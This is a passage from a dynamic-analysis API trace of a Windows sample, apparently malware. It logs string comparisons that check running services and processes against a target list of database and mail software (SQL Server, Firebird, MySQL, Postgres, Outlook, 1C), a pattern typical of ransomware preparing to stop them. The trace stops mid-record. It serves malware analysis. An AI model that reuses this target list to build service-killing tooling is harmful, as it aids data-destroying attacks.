(lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0156.802] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0156.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0156.802] lstrlenW (lpString="BFE") returned 3 [0156.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0156.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0156.802] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0156.802] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0156.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0156.802] lstrlenW (lpString="CryptSvc") returned 8 [0156.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0156.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0156.802] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0156.802] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0156.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0156.802] lstrlenW (lpString="CscService") returned 10 [0156.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0156.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0156.802] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0156.802] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0156.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0156.802] lstrlenW (lpString="DcomLaunch") returned 10 [0156.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0156.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0156.802] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0156.802] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0156.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0156.802] lstrlenW (lpString="Dhcp") returned 4 [0156.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0156.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0156.802] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0156.802] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0156.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0156.802] lstrlenW (lpString="Dnscache") returned 8 [0156.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0156.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0156.803] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0156.803] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0156.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0156.803] lstrlenW (lpString="DPS") returned 3 [0156.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0156.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0156.803] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0156.803] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0156.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0156.803] lstrlenW (lpString="eventlog") returned 8 [0156.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0156.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0156.803] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0156.803] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0156.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0156.803] lstrlenW (lpString="EventSystem") returned 11 [0156.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0156.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0156.803] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0156.803] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0156.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0156.803] lstrlenW (lpString="gpsvc") returned 5 [0156.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0156.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0156.803] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0156.803] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0156.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0156.803] lstrlenW (lpString="iphlpsvc") returned 8 [0156.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0156.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0156.804] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0156.804] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0156.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0156.804] lstrlenW (lpString="LanmanServer") returned 12 [0156.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0156.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0156.804] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0156.804] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0156.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0156.804] lstrlenW (lpString="LanmanWorkstation") returned 17 [0156.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0156.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0156.804] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0156.804] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0156.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0156.804] lstrlenW (lpString="lmhosts") returned 7 [0156.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0156.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0156.804] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0156.804] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0156.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0156.804] lstrlenW (lpString="MMCSS") returned 5 [0156.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0156.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0156.804] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0156.804] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0156.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0156.804] lstrlenW (lpString="MpsSvc") returned 6 [0156.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0156.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0156.805] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0156.805] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0156.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0156.805] lstrlenW (lpString="Netman") returned 6 [0156.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0156.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0156.805] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0156.805] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0156.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0156.805] lstrlenW (lpString="netprofm") returned 8 [0156.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0156.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0156.805] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0156.805] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0156.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0156.805] lstrlenW (lpString="NlaSvc") returned 6 [0156.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0156.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0156.805] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0156.805] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0156.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0156.805] lstrlenW (lpString="nsi") returned 3 [0156.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0156.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0156.805] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0156.805] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0156.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0156.805] lstrlenW (lpString="PcaSvc") returned 6 [0156.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0156.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0156.805] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0156.806] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0156.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0156.806] lstrlenW (lpString="PlugPlay") returned 8 [0156.806] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0156.806] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0156.806] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0156.806] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0156.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0156.806] lstrlenW (lpString="Power") returned 5 [0156.806] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0156.806] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0156.806] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0156.806] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0156.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0156.806] lstrlenW (lpString="ProfSvc") returned 7 [0156.806] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0156.806] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0156.806] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0156.806] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0156.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0156.806] lstrlenW (lpString="RpcEptMapper") returned 12 [0156.806] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0156.806] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0156.806] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0156.806] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0156.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0156.806] lstrlenW (lpString="RpcSs") returned 5 [0156.806] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0156.806] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0156.806] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0156.807] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0156.807] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0156.807] lstrlenW (lpString="SamSs") returned 5 [0156.807] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0156.807] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0156.807] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0156.807] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0156.807] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0156.807] lstrlenW (lpString="Schedule") returned 8 [0156.807] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0156.807] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0156.807] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0156.807] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0156.807] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0156.807] lstrlenW (lpString="SENS") returned 4 [0156.808] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0156.808] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0156.808] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0156.808] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0156.808] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0156.808] lstrlenW (lpString="ShellHWDetection") returned 16 [0156.808] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0156.808] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0156.808] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0156.808] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0156.808] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0156.808] lstrlenW (lpString="Spooler") returned 7 [0156.808] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0156.808] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0156.808] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0156.808] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0156.808] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0156.808] lstrlenW (lpString="SysMain") returned 7 [0156.808] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0156.808] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0156.808] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0156.808] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0156.808] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0156.809] lstrlenW (lpString="Themes") returned 6 [0156.809] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0156.809] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0156.809] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0156.809] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0156.809] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0156.809] lstrlenW (lpString="TrkWks") returned 6 [0156.809] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0156.809] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0156.809] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0156.809] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0156.809] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0156.809] lstrlenW (lpString="UxSms") returned 5 [0156.809] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0156.809] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0156.809] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0156.809] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0156.809] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0156.809] lstrlenW (lpString="WdiServiceHost") returned 14 [0156.809] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0156.809] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0156.809] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0156.809] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0156.810] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0156.810] lstrlenW (lpString="Winmgmt") returned 7 [0156.810] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0156.810] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0156.810] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0156.810] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0156.810] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0156.810] lstrlenW (lpString="WPDBusEnum") returned 10 [0156.810] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0156.810] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0156.810] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0156.810] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0156.810] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0156.810] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x428bbd0 | out: hHeap=0x880000) returned 1 [0156.810] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1fc [0156.812] Process32FirstW (in: hSnapshot=0x1fc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0156.813] Process32NextW (in: hSnapshot=0x1fc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0156.813] lstrlenW (lpString="System") returned 6 [0156.813] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0156.813] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0156.813] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0156.813] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0156.813] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0156.813] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0156.813] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0156.813] Process32NextW (in: hSnapshot=0x1fc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0156.813] lstrlenW (lpString="smss.exe") returned 8 [0156.813] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0156.813] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0156.813] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0156.813] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0156.813] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0156.814] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0156.814] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0156.814] Process32NextW (in: hSnapshot=0x1fc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0156.814] lstrlenW (lpString="csrss.exe") returned 9 [0156.814] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0156.814] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0156.814] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0156.814] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0156.814] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0156.814] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0156.814] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0156.814] Process32NextW (in: hSnapshot=0x1fc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0156.814] lstrlenW (lpString="wininit.exe") returned 11 [0156.814] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0156.814] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0156.814] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0156.814] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0156.815] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0156.815] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0156.815] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0156.815] Process32NextW (in: hSnapshot=0x1fc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0156.815] lstrlenW (lpString="csrss.exe") returned 9 [0156.815] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0156.815] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0156.815] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0156.815] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0156.815] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0156.815] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0156.815] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0156.815] Process32NextW (in: hSnapshot=0x1fc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0156.815] lstrlenW (lpString="winlogon.exe") returned 12 [0156.815] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0156.815] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0156.815] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0156.816] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0156.816] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0156.816] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0156.816] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0156.816] Process32NextW (in: hSnapshot=0x1fc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0156.816] lstrlenW (lpString="services.exe") returned 12 [0156.816] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0156.816] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0156.816] Process32NextW (in: hSnapshot=0x1fc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0156.816] lstrlenW (lpString="lsass.exe") returned 9 [0156.816] Process32NextW (in: hSnapshot=0x1fc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0156.817] lstrlenW (lpString="lsm.exe") returned 7 [0156.817] Process32NextW (in: hSnapshot=0x1fc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0156.817] lstrlenW (lpString="svchost.exe") returned 11 [0156.817] Process32NextW (in: hSnapshot=0x1fc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0156.817] lstrlenW (lpString="svchost.exe") returned 11 [0156.817] Process32NextW (in: hSnapshot=0x1fc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0156.818] lstrlenW (lpString="svchost.exe") returned 11 [0156.818] Process32NextW (in: hSnapshot=0x1fc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, 